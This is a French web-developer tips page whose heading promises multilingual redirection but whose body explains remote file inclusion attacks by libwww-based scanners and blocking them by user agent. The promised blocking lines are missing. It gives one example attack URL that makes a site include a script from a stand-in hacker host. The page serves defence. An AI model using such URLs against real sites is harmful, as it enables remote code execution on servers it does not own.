24 Mai 2008
Redirection pour un site multilingue
Compatibilité : PHP 5, PHP 7, PHP 8
Pour le confort des visiteurs il est préférable de rediriger l'internaute vers la bonne page selon la langue du navigateur.
La librairie perl libwww est une interface de programmation d'application (API). Elle fournit un ensemble de fonctions pour l'accès à des données internet. Vous pouvez ainsi faire un moteur de recherche à partir de cette librairie. Malheureusement elle est souvent utilisée par les hackers pour faire un scanner de vulnérabilité par RFI (remote file inclusion). Leur but est tout simplement de faire exécuter sur votre serveur un bout de programme externe.
Pour cela, il faut que deux conditions soient réunies : que votre serveur autorise l'inclusion de programme externe et que vous disposiez d'un script ayant un paramètre le permettant.
Les url exploitant les RFI sont de la forme : http://www.votresite.fr/unepage.php?path=http://www.unsitedehacker.fr/unscript.txt? Dans ce cas, le script unepage.php donne la possibilité de faire un include dynamique avec comme paramètre path. L'url du script du hacher se termine par un ? pour bloquer une possible concaténation dans le path.
Ces deux lignes vous permettent donc de bloquer l'accès à votre site depuis cette librairie si le nom du navigateur contient libwww. Ce n'est pas forcément la meilleur solution car il est toujours possible de changer le USER_AGENT pour accéder à votre site mais elle peut-être utilisée en complément des autres méthodes détaillées sur ce site. Le hacker va donc recevoir un code retour 403 (accès interdit) grâce au flag F.
|
Pour le confort des visiteurs il est préférable de rediriger l'internaute vers la bonne page selon la langue du navigateur.
Il arrive que l'on doive faire une redirection définitive d'un ancien site vers un nouveau. Il faut alors mettre en place une redirection 301 sur chaque page.
Connaitre le type de navigateur du client avec la fonction getenv () qui retourne la valeur d'une variable d'environnement.
Le cache du navigateur garde les CSS / JS en cache, voici 1 solution pour qu'ils soient rechargés a chaque modification.
Pour savoir si le navigateur du client accepte ou non les cookies, nous allons procéder en 2 étapes.